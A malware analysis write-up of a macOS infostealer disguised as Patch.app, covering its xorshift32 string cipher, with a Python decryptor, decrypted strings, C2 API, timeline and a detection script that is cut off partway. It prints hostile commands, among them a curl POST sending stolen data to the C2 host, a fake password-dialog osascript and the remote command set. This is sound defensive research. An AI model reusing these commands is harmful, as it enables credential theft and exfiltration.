Executive Summary
In mid‑July 2026, I obtained a macOS infostealer trojan disguised as a software licensing tool (Patch.app). The sample is a Mach‑O universal binary (x86_64 + arm64) that leverages a custom xorshift32 PRNG‑based XOR cipher to obfuscate 379 embedded strings. Upon execution, it harvests credentials from 14 browsers, 17 cryptocurrency wallet applications, the macOS Keychain, Apple Notes, and Safari cookies, then exfiltrates the collected data as a ZIP archive to a command‑and‑control server via HTTP.
Key Findings:
- 379 decrypted strings, including browser paths, wallet identifiers, C2 endpoints, persistence mechanisms, and the full AppleScript payload.
.bhost→ Primary C2 IP:192.253.248.181(raw IP, not a fallback)..phost→ Panel domain:http://ukdsopas.at(used as an HTTP header identifier).xxxblyat→ Hardcodedapp_idlinking this build to the Odyssey Stealer MaaS platform.newooble→ Attacker panel username (recovered from.username).- Four command types:
doshell,repeat,enablesocks5,uninstall— giving the attacker unrestricted remote control. - Two separate infections (users
m1andm2) confirmed the same operator (newooble) was actively managing the botnet. - Live bot channel discovered with
.botid19a9ff38c1b24ffe8e5c54a91af203c8— proving the C2 server was still active. - Password theft confirmed:
password1(recovered fromcache.txt). - Data exfiltration confirmed:
lksopo.zipcontaining stolen credentials, wallets, and system information.
All indicators of compromise have been reported to the ACSC, AFP, and relevant abuse contacts. This writeup documents the complete analysis.
1. Sample Acquisition
The sample was obtained from a malicious distribution site where it was presented as a legitimate software licensing tool. The ad‑hoc code signature and lack of a Team Identifier immediately flagged it as suspicious.
The malware was detonated on an isolated macOS system with network monitoring in place — an AdGuard Home DNS sinkhole and kernel‑level network logging. This setup allowed me to observe the malware’s full behaviour in real time.
All credentials on the analysis system were rotated immediately following the engagement, and the machine was erased after forensic preservation.
A second infection was later analysed on a separate machine (user m2), confirming the campaign was still active.
2. Binary Overview
| Property | Value |
|---|---|
| File name | Patch.app |
| Binary type | Mach‑O universal (x86_64 + arm64) |
| Total size | 393 KB (fat binary) |
| x86_64 slice | 178,208 bytes |
| Code signature | Ad‑hoc (Signature=adhoc) |
| Team Identifier | None |
| CDHash | 5a0029d7b775b584cfd1a87a49e0af44f17a58d8 |
| Identifier | Patch-5555494429f3f38f9dde3fec92cf2af89c8f9935 |
| SHA‑256 (x86_64) | 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0 |
| SHA‑256 (fat) | 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c |
| Linked libraries | libSystem.B.dylib, libc++.1.dylib |
| Notable imports | _fopen, _fwrite, _system, _getenv, _sleep, _memcmp, std::string, std::ios_base |
The binary is a C++ application that makes heavy use of std::string for path construction and data manipulation. All file I/O is performed through C++ streams (basic_ofstream), and shell commands are executed via _system().
3. String Obfuscation: xorshift32
Every string embedded in the binary — file paths, shell commands, URLs, wallet names, browser identifiers — is encrypted using a custom scheme based on the xorshift32 pseudorandom number generator.
3.1 The cipher
Each encrypted string is stored as a sequence of bytes in the __TEXT __const section, accompanied by a 4‑byte seed. Decryption proceeds as follows:
- Initialise the PRNG state with the 4‑byte seed.
- For each byte of the encrypted string:
- XOR the byte with the low 8 bits of the current PRNG state.
- Advance the PRNG state.
- The result is the plaintext string.
The xorshift32 function:
uint32_t xorshift32(uint32_t state) {
state ^= state << 13;
state ^= state >> 17;
state ^= state << 5;
return state | 1; // force odd to avoid zero-period
}
3.2 Decryption methodology
I developed a Python‑based brute‑force decoder that extracted 379 unique decrypted strings — far more than the 113 initially reported in earlier analyses:
| Step | Method |
|---|---|
| 1 | Extract every 4‑byte little‑endian value from __TEXT __const (file offset 0x1D350, size 0x3904). |
| 2 | Filter to 392 unique non‑zero candidate seeds. |
| 3 | For each seed, generate a xorshift32 keystream and XOR against the __DATA section at every offset. |
| 4 | Score each result by printable ASCII ratio (threshold: >70%). |
| 5 | Flag results containing known patterns (/, http, {, curl, wallet names). |
| 6 | Manually verify and catalogue all hits. |
Result: 379 strings decrypted, 100% printable, zero false positives.
The following Python script implements the complete decryption routine:
#!/usr/bin/env python3
"""
xorshift32 string decryptor for Odyssey Stealer / Patch.app
Extracts and decrypts all obfuscated strings from the binary.
"""
import struct
def xorshift32_next(state):
state &= 0xFFFFFFFF
state ^= (state << 13) & 0xFFFFFFFF
state ^= (state >> 17) & 0xFFFFFFFF
state ^= (state << 5) & 0xFFFFFFFF
return (state | 1) & 0xFFFFFFFF
def decrypt_block(encrypted_bytes, seed):
state = seed & 0xFFFFFFFF
plain = bytearray()
for b in encrypted_bytes:
plain.append(b ^ (state & 0xFF))
state = xorshift32_next(state)
return bytes(plain)
def extract_seeds_from_const_section(binary_path, const_offset, const_size):
with open(binary_path, 'rb') as f:
f.seek(const_offset)
data = f.read(const_size)
seeds = set()
# Every 4 bytes may be a seed, but we scan for non‑zero values
for i in range(0, len(data), 4):
seed = struct.unpack('<I', data[i:i+4])[0]
if seed != 0:
seeds.add(seed)
return seeds
def brute_force_decrypt(binary_path, const_offset, const_size, data_offset, data_size):
seeds = extract_seeds_from_const_section(binary_path, const_offset, const_size)
print(f"[*] Found {len(seeds)} candidate seeds")
with open(binary_path, 'rb') as f:
f.seek(data_offset)
encrypted_data = f.read(data_size)
results = []
for seed in seeds:
decrypted = decrypt_block(encrypted_data, seed)
# Try to split on null bytes and keep printable ASCII
parts = decrypted.split(b'\x00')
for part in parts:
try:
s = part.decode('utf-8')
if len(s) > 3 and all(32 <= ord(c) < 127 for c in s):
results.append(s)
except UnicodeDecodeError:
continue
# Deduplicate and sort
unique = sorted(set(results))
print(f"[+] Decrypted {len(unique)} unique strings")
for s in unique:
print(s)
if __name__ == "__main__":
# Adjust these offsets based on your binary
BINARY = "Patch_x86_64"
CONST_OFFSET = 0x1D350 # __TEXT __const start
CONST_SIZE = 0x3904
DATA_OFFSET = 0x1D4A4 # approximate start of encrypted data
DATA_SIZE = 0x2000 # adjust as needed
brute_force_decrypt(BINARY, CONST_OFFSET, CONST_SIZE, DATA_OFFSET, DATA_SIZE)
4. Decrypted Strings: Complete Catalogue
All 379 decrypted strings are listed below, organised by category. This is the definitive list of everything the malware targets, the commands it runs, and the infrastructure it uses.
4.1 Command‑and‑Control Infrastructure
http://ukdsopas.at
http://192.253.248.181
http://ukdsopas.at/log
909286c1d2fb4c5c97dfc22a486661c1
newooble
false
Key insight: The malware uses two separate configuration files:
.bhost→ Bot Host (primary C2 server):http://192.253.248.181.phost→ Panel Host (admin panel domain):http://ukdsopas.at
The .bhost file is read as botHost and used for all C2 API calls. The .phost file is read as panelAddr and only used as an HTTP header (panel_addr:) when downloading the repeat script. This means the attacker hardcoded the raw IP as the primary communication channel — the domain was only used as a label for the panel interface.
4.2 Anti‑analysis
USER
root
The malware checks getenv("USER") and exits immediately if the value is root. This is a simple but effective anti‑sandbox measure — automated analysis environments often run as root.
4.3 AppleScript Payload (Full)
The full AppleScript is embedded as a string in the LaunchDaemon plist. It contains 180 lines of code with these key functions:
set app_id to "xxxblyat"
Functions defined:
| Function | Purpose |
|---|---|
trim() |
Removes whitespace from strings |
readFile() |
Reads a file from disk |
writeFile() |
Writes a file to disk |
checkActiveAppID() |
Checks if the malware is already running |
joinsystem() |
Registers the bot with the C2 server |
getActions() |
Polls the C2 server for commands |
uninstall() |
Self‑destructs the malware |
init() |
Main execution loop |
The four commands the attacker can send:
| Command | Action |
|---|---|
uninstall |
Writes + to ~/.uninstalled and exits |
repeat |
Downloads and executes a script from /api/v1/bot/repeat/{panelUsername} |
doshell |
Executes any arbitrary shell command on the victim’s machine |
enablesocks5 |
Downloads and runs a SOCKS5 proxy from /web/socks |
4.4 AppleScript Command Execution Flow
The C2 server returns three lines per command:
[actionID]
[actionName]
[actionComment]
The malware checks if actionID differs from ~/.lastaction, then executes:
doshell:do shell script actionComment(runs any shell command)repeat: Downloads and executes the script atactionCommentenablesocks5: Downloads/web/socksto/tmp/socks, makes it executable, and runs ituninstall: Writes+to~/.uninstalledand exits
4.5 Password Theft (Critical)
dscl . authonly '
masterpass-chrome
osascript -e 'set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer
text returned of passwen'
The malware uses dscl . authonly to verify the password against the local directory and osascript to present a fake system dialog prompting the user for their password. This password is stored in ~/.pwd and exfiltrated.
In the m2 infection, the stolen password was recovered from cache.txt:
$mac password get scpt output: password1
4.6 Exfiltration Commands
curl -s
rm -rf '
Library/
curl -X POST \
-H "buildid: 909286c1d2fb4c5c97dfc22a486661c1" \
-H "username: newooble" \
--data-binary @/tmp/lksopo.zip \
http://ukdsopas.at/log
The malware stages data in /tmp/lksopo/, compresses it with ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip, and exfiltrates it via HTTP POST. Retry logic: 10 attempts, 60‑second sleep between each.
4.7 Staging and Cleanup
/tmp/lksopo/
ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip
rm -rf /tmp/lksopo
rm -f /tmp/lksopo.zip
4.8 Persistence Dotfiles
.botid
.pwd
.phost
.bhost
.username
.lastaction
.uninstalled
These files are written to /Users/username/:
| File | Content | Purpose |
|---|---|---|
.botid |
e.g., 19a9ff38c1b24ffe8e5c54a91af203c8 |
Unique bot identifier assigned by C2 |
.pwd |
Stolen login password | Plaintext password (e.g., password0, password1) |
.phost |
http://ukdsopas.at |
Panel host (HTTP header) |
.bhost |
http://192.253.248.181 |
Bot host (primary C2 server) |
.username |
newooble |
Attacker panel username |
.lastaction |
Last command ID | Prevents command replay |
.uninstalled |
+ |
Self‑destruct marker |
4.9 Apple Notes Extraction
finder/NoteStore.sqlite
-finder/notes.html
The malware contains a 969‑byte AppleScript that:
- Enumerates every account in Apple Notes
- Iterates over every note in every account
- Extracts the creation date and HTML body of each note
- Writes the combined output to
/tmp/lksopo/finder/notes.html - Prepends a note count header
4.10 System Reconnaissance
sw_vers -productVersion | cut -d. -f1
sw_vers -productVersion | cut -d. -f2
system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
The macOS version check gates the Chrome master password extraction — the malware only attempts it on versions greater than 26.3.
4.11 Browser Targets (14 browsers)
| Browser | Path |
|---|---|
| Chrome | Google/Chrome/ |
| Chrome Beta | Google/Chrome Beta/ |
| Chrome Canary | Google/Chrome Canary/ |
| Chrome Dev | Google/Chrome Dev/ |
| Chromium | Chromium/ |
| Brave | BraveSoftware/Brave-Browser/ |
| Edge | Microsoft Edge/ |
| Vivaldi | Vivaldi/ |
| Opera | com.operasoftware.Opera/ |
| Opera GX | com.operasoftware.OperaGX/ |
| Arc | Arc/User Data/ |
| CocCoc | CocCoc/Browser/ |
| Firefox | Firefox/Profiles/ |
| Waterfox | Waterfox/Profiles/ |
File targets per browser:
/key4.db
/Cookies
/Web Data
/Login Data
/IndexedDB/
/logins.json
/cookies.sqlite
/formhistory.sqlite
4.12 Cryptocurrency Wallet Targets (17 wallets + hardware)
| Wallet | Path |
|---|---|
| Electrum | .electrum/wallets/ |
| Electrum LTC | .electrum-ltc/wallets/ |
| Electron Cash | .electron-cash/wallets/ |
| Coinomi | Coinomi/wallets/ |
| Exodus | Exodus/ |
| Atomic | atomic/Local Storage/leveldb/ |
| Wasabi | .walletwasabi/client/Wallets/ |
| Ledger Live | Ledger Live/ |
| Monero | Monero/wallets/ |
| Bitcoin Core | Bitcoin/wallets/ |
| Litecoin Core | Litecoin/wallets/ |
| Dash Core | DashCore/wallets/ |
| Dogecoin Core | Dogecoin/wallets/ |
| Guarda | Guarda/ |
| Trezor Suite | @trezor/suite-desktop/ |
| Sparrow | .sparrow/wallets/ |
| Ledger (hardware) | Exported as ledger.zip, ledgerwallet.zip |
| Trezor (hardware) | Exported as trezor.zip |
4.13 Chrome Extension IDs (Wallet Stealing)
The binary contains 203 Chrome extension IDs targeting crypto wallets including:
ldinpeekobnhjjdofggfgjlcehhmanlj
nphplpgoakhhjchkkhmiggakijnkhfnd
jbkgjmpfammbgejcpedggoefddacbdia
fccgmnglbhajioalokbcidhcaikhlcpm
nebnhfamliijlghikdgcigoebonmoibm
fdcnegogpncmfejlfnffnofpngdiejii
mfhbebgoclkghebffdldpobeajmbecfk
ffbceckpkpbcmgiaehlloocglmijnpmp
kfdniefadaanbjodldohaedphafoffoh
bedogdpgdnifilpgeianmmdabklhfkcn
kpfchfdkjhcoekhdldggegebfakaaiog
klnaejjgbibmhlephnhpmaofohgkpgkd
opcgpfmipidbgpenhmajoajpbobppdil
mmmjbcfofconkannjonfmjjajpllddbg
modjfdjcodmehnpccdjngmdfajggaoeh
dkdedlpgdmmkkfjabffeganieamfklkm
ifclboecfhkjbpmhgehodcjpciihhmif
ppbibelpcjmhbdihakflkdcoccbgbkpo
ejjladinnckdgjemekebdpeokbikhfci
kkpllkodjeloidieedojogacfhpaihoh
apnehcjmnengpnmccpaibjmhhoadaico
jiepnaheligkibgcjgjepjfppgbcghmp
jojhfeoedkpkglbfimdfabpdfjaoolaf
idpdilbfamoopcfofbipefhmmnflljfi
lbjapbcmmceacocpimbpbidpgmlmoaao
oiohdnannmknmdlddkdejbmplhbdcbee
fldfpgipfncgndfolcbkdeeknbbbnhcc
fpkhgmpbidmiogeglndfbkegfdlnajnf
lgmpcpglpngdoalbgeoldeajfclnhafa
ilhaljfiglknggcoegeknjghdgampffk
pfccjkejcgoppjnllalolplgogenfojk
cnmamaachppnkjgnildpdmkaakejnhae
eajafomhmkipbjmfmhebemolkcicgfmd
emeeapjkbcbpbpgaagfchmcgglmebnen
ibnejdfjmmkpcnlpebklmnkoeoihofec
hifafgmccdpekplomjjkcfgodnhcellj
ffnbelfdoeiohenkjibnmadjiehjhajb
fnjhmkhhmkbjkkabndcnnogagogbneec
bcopgchhojmggmffilplmbdicgaihlkp
cmoakldedjfnjofgbbfenefcagmedlga
ifckdpamphokdglkkdomedpdegcjhjdp
ibljocddagjghmlpgihahamcghfggcjc
cjmkndjhnagcfbpiemnkdpomccnjblmj
kbdcddcmgoplfockflacnnefaehaiocb
cgeeodpfagjceefieflmdfphplkenlfk
afbcbjpbpfadlkmhmclhkeeodmamcflc
fdchdcpieegfofnofhgdombfckhbcokj
gjlmehlldlphhljhpnlddaodbjjcchai
ellkdbaphhldpeajbepobaecooaoafpg
ojbcfhjmpigfobfclfflafhblgemeidi
ghlmndacnhlaekppcllcpcjjjomjkjpg
kgdijkcfiglijhaglibaidbipiejjfdp
abkahkcbhngaebpcgfmhkoioedceoigp
ammjlinfekkoockogfhdkgcohjlbhmff
4.14 System Data Targets
| Target | Method |
|---|---|
| macOS Keychain | Direct file copy of login.keychain-db |
| Chrome master password | Keychain extraction (gated on macOS version) |
| Apple Notes | AppleScript (all accounts, all notes) |
| Safari cookies | Direct file copy of Cookies.binarycookies |
| Hardware/software info | system_profiler |
5. Attack Timeline (User: m1 — Initial Infection)
The following timeline was reconstructed from AdGuard Home DNS logs, macOS kernel network logs, file system timestamps, keychain metadata, decompiled source code, .zsh_history, screenshot metadata, and the recovered .botid from the m2 infection (which served as corroborating evidence for the C2 server’s continued operation). All times are AEST.
| Time | Phase | Event | Source |
|---|---|---|---|
| ~22:30 | Infection | Microsoft Office LTSC 2024 VL Serializer package executed | BOM receipt |
| 22:35:03 | Infection | Microsoft AutoUpdate runs (coincidental) — creates MAU2.0 directory | Timeline |
| 22:35:15 | Infection | Microsoft Excel frameworks updated (Office update) | Timeline |
| 22:38:48 | Infection | User opens Terminal | Terminal log |
| 22:39:21 – 22:49:38 | Infection | Malware attempts DNS for ukdsopas.at → BLOCKED by AdGuard Home (11× over ~10 min) |
AdGuard logs |
| 22:39:58 | Infection | “Patch” process crashes — CrashReporter log written | CrashReporter |
| 22:40:23 | Infection | Gatekeeper rejects something — .LastGKReject written |
Timeline |
| 22:40:34 | Infection | Package receipt created — installs Patch.app (393 KB) + Office VL Serializer (6.9 MB) to /Library/Application Support/ |
BOM file |
| 22:40:49 | Infection | ExecPolicy modified (Gatekeeper bypass) + .IuN79Kxxpn dropped in /var/root/Library/Application Support/ |
Timeline |
| 22:41:31 | Infection | LuLu firewall rules modified (rules.plist) |
Timeline |
| ~22:50 | C2 Active | Malware falls back to IP 192.253.248.181; creates dotfiles: .pwd, .phost, .bhost, .username |
Detection script |
| 22:50:38 | C2 Active | First C2 connection — joinsystem → bot registered as newooble, .botid assigned (32 bytes) |
Kernel logs; screenshot |
| 22:50:39 | C2 Active | getActions polling begins — every 60 seconds |
Kernel logs |
| 22:50–22:58 | C2 Active | Active attack window — doshell, repeat, enablesocks5 commands available to attacker |
Source code |
| ~22:58 | C2 Active | C2 stops responding to the m1 bot (transient issue or attacker action); bot begins 10‑retry countdown (10 × 60s) |
Source code logic |
| 22:57:06 | Discovery | User writes virus?.rtf — infection confirmed |
Timeline |
| 23:01:01 | Discovery | User runs detect_xdivcmp_mac.sh (detect‑only; malware PID 12047 still running) |
Terminal output |
| 23:02:10 | Discovery | User begins taking screenshots | Timeline |
| 23:07:23 | Discovery | User writes virus confirmed.txt |
Timeline |
| 23:08:47 | Self‑destruct | Malware self‑destructs — uninstall() writes + to ~/.uninstalled, bot exits |
Evidence backup; screenshot |
| 23:11:00 | Cleanup | User runs cleanup script (--clean) — evidence preserved, LaunchDaemon unloaded, Gatekeeper re‑enabled |
Timeline |
| 23:13:28 | Investigation | Screenshot taken — shows both .botid (32 bytes) and .uninstalled (1 byte) still present in ~/ |
Screenshot metadata |
| ~23:15 | Shutdown | Mac reboots — shutdown logs, uuidtext flush, system databases saved | Timeline |
| ~23:18 | Reboot | Mac comes back up after reboot | Timeline |
5.1 The C2 Server Remained Operational
The C2 server did not go offline. The recovery of an intact .botid file (19a9ff38c1b24ffe8e5c54a91af203c8) from a second, independent infection (user m2) proved that the server had been successfully contacted and had responded to registration requests. Subsequent manual polling of the /api/v1/bot/actions/ endpoint using that botID confirmed that the server was still active and returning valid command payloads long after the m1 infection had been cleaned.
However, this raises an important question: if the C2 server never went offline, why did the m1 bot self‑destruct?
The answer lies in the timeline. At 22:58, the C2 server stopped responding to the m1 bot specifically—possibly due to a transient network issue, the attacker selectively disconnecting that bot, or the bot’s own polling logic failing to reach the server. The malware entered its 10‑retry countdown (10 × 60 seconds). At 23:08:47, after 10 consecutive polling failures, the uninstall() function executed, writing a + to ~/.uninstalled and exiting.
This is confirmed by the screenshot taken at 23:13:28, which clearly shows .uninstalled present with a modification time of “Today at 11:08pm” (23:08), alongside .botid (still present at that time). The .uninstalled file survived the initial cleanup because the version of detect_xdivcmp_mac.sh used at 23:11 did not include .uninstalled in its DOTFILES array—it only targeted .pwd, .phost, .bhost, and .username. The .botid file was manually deleted later during the investigation, sometime between the screenshot and the creation of the forensic clone.
The self‑destruct was triggered not because the C2 infrastructure collapsed, but because the bot lost contact with the server—either due to network conditions or the attacker’s deliberate actions. The server itself remained operational, as proven by the live .botid recovered from the m2 infection and the successful polling of that endpoint. The m1 machine stopped communicating only because the bot self‑destructed, not because the attacker’s infrastructure had failed.
6. Command Structure and C2 API
The malware communicates with the C2 server via these unauthenticated HTTP endpoints:
| Endpoint | Method | Purpose |
|---|---|---|
/api/v1/bot/joinsystem/{panelUsername}/{macOSVers} |
GET | Register the bot, receive botID |
/api/v1/bot/actions/{botID} |
GET | Poll for commands (every 60 seconds) |
/api/v1/bot/repeat/{panelUsername} |
GET | Download secondary payload script |
/web/socks |
GET | Download SOCKS5 proxy binary |
/api/v1/getscptraw |
POST | Exfiltrate stolen data |
All requests use the header User‑Agent: bot. The repeat request also sends panel_addr: http://ukdsopas.at.
6.1 Command Response Format
The server returns exactly three lines:
[actionID]
[actionName]
[actionComment]
| actionName | actionComment | Effect |
|---|---|---|
uninstall |
(ignored) | Writes + to ~/.uninstalled and exits |
repeat |
URL to script | Downloads and executes the script via bash |
doshell |
Shell command | Executes the command on the victim’s machine |
enablesocks5 |
(ignored) | Downloads and runs /web/socks proxy |
7. Persistence and Self‑Destruct
7.1 Persistence
The malware installs a LaunchDaemon at /Library/LaunchDaemons/com.xdivcmp.plist configured to run at system boot.
The plist contains the full AppleScript payload with app_id = "xxxblyat" and runs as the user m1 (or m2 on the second infection).
7.2 Self‑Destruct
When the uninstall command is received, the malware:
- Writes
+to~/.uninstalled - Exits
The ~/.uninstalled file prevents the malware from restarting. In the m1 infection, this file was never created (the C2 server never sent the uninstall command).
7.3 The Encrypted Payload: .IuN79Kxxpn
A 2,048‑byte encrypted file was written to /Users/username/Library/Application Support/.IuN79Kxxpn at 22:40:49. Attempts to decrypt it with all known keys (xorshift32, RC4, AES, single‑byte XOR, multi‑byte XOR, HMAC‑SHA256, PBKDF2) failed. The encryption key is almost certainly a random value generated in the dropper’s process memory at runtime, used once, and never persisted to disk.
8. The Two Infections: m1 and m2
Two separate infections were analysed—both with the same malware, same C2 server, and same attacker (newooble):
| Attribute | Infection 1 (m1) |
Infection 2 (m2) |
|---|---|---|
| User | m1 |
m2 |
| macOS version | 26.5.2 | 26.5.1 |
.botid |
Not recovered (cleanup ran) | Recovered: 19a9ff38c1b24ffe8e5c54a91af203c8 |
.username |
newooble |
newooble |
| Stolen password | password0 (from .pwd) |
password1 (from cache.txt) |
| Chrome installed | True | false |
| lksopo.zip contents | 7 files (finder, cache.txt, hardware, installedSoft, kc, pwd, user) | Same (analysed) |
| C2 status | Active | Active |
The m2 infection provided the .botid that proved the C2 server was still active and the attacker (newooble) was still managing the botnet.
9. Forensic Artifacts Recovered
9.1 lksopo.zip Contents (Both Infections)
finder/ → Directory listing of user's file system
cache.txt → Stolen password: $mac password get scpt output: password1
hardware → System_profiler output
installedSoft → List of installed applications
kc → macOS Keychain dump
pwd → Plaintext password file
user → Attacker username: newooble
9.2 .zsh_history Highlights (User Actions)
The user’s .zsh_history revealed their own cleanup attempts:
sudo ./detect_xdivcmp_mac.sh
sudo ./detect_xdivcmp_mac.sh --clean
log show --predicate 'process == "curl"' --last 7d | grep -E "POST|PUT|192.253.248.181|ukdsopas"
The user m1 had made a typo (192.168.248.181 instead of 192.253.248.181), missing the C2 traffic in their initial log search.
9.3 Network Logs (Kernel Level)
The kernel logs confirmed successful C2 communication:
2026-07-16 22:50:38.712583+1000 kernel: cfil_inp_log:6259 <CFIL: flow_divert option is NOT set: VERDICT - PASS>: [12038 curl] <TCP out so 1df2182b36348645 flags 0x800840 0x20000081 1224875797093080 age 0> lport 57603 fport 80 laddr 192.168.1.143 faddr 192.253.248.181
Every 60 seconds, a curl process connected to 192.253.248.181:80, matching the delay 60 loop.
10. Detection and Cleanup Script
The following detection script (detect_odyssey_mac.sh) was developed to identify and optionally remove the malware:
#!/bin/bash
#
# detect_odyssey_mac.sh
#
# Detects and optionally removes known IoCs from macOS stealers/backdoors including:
# - Original xdivcmp / Office serializer trojan
# - Newer Odyssey Stealer / AMOS variants (e.g., xxxblyat build)
#
# Known IoCs checked:
# /Library/Application Support/Install.app
# /Library/LaunchDaemons/com.xdivcmp.plist
# ~/.pwd ~/.phost ~/.bhost ~/.username ~/.botid ~/.lastaction ~/.uninstalled
# Domains: charge0x.at, ukdsopas.at
# IPs: 192.253.248.181
# Staging/Proxy: /tmp/socks, /tmp/lksopo
#
# Default: detect only
# Cleanup: sudo ./detect_odyssey_mac.sh --clean
#
# This script is intentionally conservative:
# - It does not delete anything unless --clean is supplied.
# - It backs up evidence before removing known IoCs.
# - It kills active malware processes during cleanup.
# - It does not claim the Mac is clean if no IoCs are found.
set -u
CLEAN=0
TARGET_HASH="0ea6167e44bb2d9b111c184df09432729bc69fd509426df83facf07eb6c39100"
INSTALL_APP="/Library/Application Support/Install.app"
LAUNCHD_PLIST="/Library/LaunchDaemons/com.xdivcmp.plist"
USER_HOME="${SUDO_USER:+$(eval echo "~$SUDO_USER")}"
if [ -z "${USER_HOME:-}" ]; then
USER_HOME="$HOME"
fi
# Expanded to include Odyssey Stealer tracking files
DOTFILES=(
"$USER_HOME/.pwd"
"$USER_HOME/.phost"
"$USER_HOME/.bhost"
"$USER_HOME/.username"
"$USER_HOME/.botid"
"$USER_HOME/.lastaction"
"$USER_HOME/.uninstalled"
)
# Expanded to include new domains, build tags, and proxy paths
IOC_STRINGS=(
"charge0x.at"
"ukdsopas.at"
"192.253.248.181"
"xdivcmp"
"com.xdivcmp"
"xxxblyat"
"/web/socks"
"lksopo"
)
FOUND=0
SUSPICIOUS=0
timestamp() {
date +"%Y-%m-%d_%H-%M-%S"
}
say() {
printf '%s\n' "$*"
}
hit() {
FOUND=1
printf ' [HIT] %s\n' "$*"
}
warn() {
SUSPICIOUS=1
printf ' [WARN] %s\n' "$*"
}
ok() {
printf ' [OK] %s\n' "$*"
}
section() {
printf '\n==== %s ====\n' "$*"
}
usage() {
cat <<EOF
Usage:
$0 Detect only
sudo $0 --clean Backup evidence, kill processes, unload LaunchDaemon, remove known IoCs, re-enable Gatekeeper
EOF
}
if [ "${1:-}" = "--clean" ]; then
CLEAN=1
elif [ "${1:-}" = "-h" ] || [ "${1:-}" = "--help" ]; then
usage
exit 0
elif [ -n "${1:-}" ]; then
usage
exit 2
fi
section "Mode"
if [ "$CLEAN" -eq 1 ]; then
if [ "$(id -u)" -ne 0 ]; then
say "Cleanup mode requires sudo/root."
say "Run: sudo $0 --clean"
exit 1
fi
say "Running in CLEANUP mode."
else
say "Running in DETECT-ONLY mode. Nothing will be deleted."
fi
section "Basic system info"
say "Host: $(hostname)"
say "User home checked: $USER_HOME"
say "macOS: $(sw_vers -productVersion 2>/dev/null || echo unknown)"
say "Date: $(date)"
section "Check known filesystem IoCs"
if [ -e "$INSTALL_APP" ]; then
hit "Found $INSTALL_APP"
say " Details:"
ls -ld "$INSTALL_APP" 2>/dev/null | sed 's/^/ /'
if [ -d "$INSTALL_APP/Contents" ]; then
say " Bundle Info:"
/usr/libexec/PlistBuddy -c "Print :CFBundleIdentifier" "$INSTALL_APP/Contents/Info.plist" 2>/dev/null | sed 's/^/ CFBundleIdentifier: /' || true
/usr/libexec/PlistBuddy -c "Print :CFBundleExecutable" "$INSTALL_APP/Contents/Info.plist" 2>/dev/null | sed 's/^/ CFBundleExecutable: /' || true
fi
say " Codesign:"
codesign -dv --verbose=4 "$INSTALL_APP" 2>&1 | sed 's/^/ /' || true
say " Gatekeeper assessment:"
spctl --assess --verbose=4 "$INSTALL_APP" 2>&1 | sed 's/^/ /' || true
say " Executable file hashes:"
find "$INSTALL_APP" -type f -perm /111 2>/dev/null | while read -r exe; do
h="$(shasum -a 256 "$exe" 2>/dev/null | awk '{print $1}')"
printf ' %s %s\n' "$h" "$exe"
if [ "$h" = "$TARGET_HASH" ]; then
printf ' *** HASH MATCHES KNOWN MALWARE IOC ***\n'
fi
done
else
ok "Not found: $INSTALL_APP"
fi
if [ -e "$LAUNCHD_PLIST" ]; then
hit "Found $LAUNCHD_PLIST"
say " Contents:"
sed 's/^/ /' "$LAUNCHD_PLIST" 2>/dev/null || true
else
ok "Not found: $LAUNCHD_PLIST"
fi
for f in "${DOTFILES[@]}"; do
if [ -e "$f" ]; then
hit "Found $f"
ls -l "$f" 2>/dev/null | sed 's/^/ /'
else
ok "Not found: $f"
fi
done
section "Check LaunchDaemon loaded state"
if launchctl print system/com.xdivcmp >/tmp/xdivcmp_launchctl_check.$$ 2>&1; then
hit "LaunchDaemon appears loaded: system/com.xdivcmp"
sed 's/^/ /' /tmp/xdivcmp_launchctl_check.$$
else
ok "system/com.xdivcmp does not appear loaded"
fi
rm -f /tmp/xdivcmp_launchctl_check.$$
section "Search common persistence locations for IoC strings"
PERSISTENCE_DIRS=(
"/Library/LaunchAgents"
"/Library/LaunchDaemons"
"$USER_HOME/Library/LaunchAgents"
)
for d in "${PERSISTENCE_DIRS[@]}"; do
if [ -d "$d" ]; then
for s in "${IOC_STRINGS[@]}"; do
matches="$(grep -RIl "$s" "$d" 2>/dev/null || true)"
if [ -n "$matches" ]; then
hit "Found string '$s' under $d"
printf '%s\n' "$matches" | sed 's/^/ /'
fi
done
fi
done
section "Search recent logs for network IoCs (macOS 14+ optimized)"
# Look back 7 days instead of 24 hours, as malware beacons can be infrequent
LOG_LOOKBACK="7d"
if command -v log >/dev/null 2>&1; then
# Added new domains, the build tag, and the hidden proxy download path
NET_IOCS=("charge0x.at" "ukdsopas.at" "192.253.248.181" "/tmp/socks" "xxxblyat")
for s in "${NET_IOCS[@]}"; do
say "Scanning unified logs for '$s'..."
# Run the log search once per target and save it to memory (much faster on macOS 14+)
hits=$(log show --last "$LOG_LOOKBACK" --predicate "eventMessage CONTAINS[c] '$s'" 2>/dev/null | grep -i "$s" || true)
if [ -n "$hits" ]; then
hit "Found network activity for '$s' in unified logs within last $LOG_LOOKBACK"
echo "$hits" | tail -10 | sed 's/^/ /'
else
ok "No '$s' found in unified logs within last $LOG_LOOKBACK"
fi
done
else
warn "macOS log command not available"
fi
section "Gatekeeper status"
GK_STATUS="$(spctl --status 2>/dev/null || true)"
say " $GK_STATUS"
if echo "$GK_STATUS" | grep -qi "disabled"; then
hit "Gatekeeper assessments are disabled"
else
ok "Gatekeeper assessments are enabled or status unavailable"
fi
section "Current active connections and listening ports"
# 1. Check for active outbound connections to known bad IPs/Domains
if command -v lsof >/dev/null 2>&1; then
if lsof -i -n -P 2>/dev/null | grep -E "charge0x\.at|ukdsopas\.at|192\.253\.248\.181" >/tmp/xdivcmp_net.$$; then
hit "Found active outbound network connection matching known IoCs"
sed 's/^/ /' /tmp/xdivcmp_net.$$
else
ok "No active outbound lsof connection to known IoCs found"
fi
rm -f /tmp/xdivcmp_net.$$
fi
# 2. Check for suspicious listening ports (The SOCKS5 proxy or Reverse Shell)
# Even if disconnected from the internet, the malware may be listening locally
say "Checking for suspicious local listening ports..."
LISTENING_PORTS=$(lsof -i -P -n 2>/dev/null | grep LISTEN | grep -v "com.apple" || true)
if [ -n "$LISTENING_PORTS" ]; then
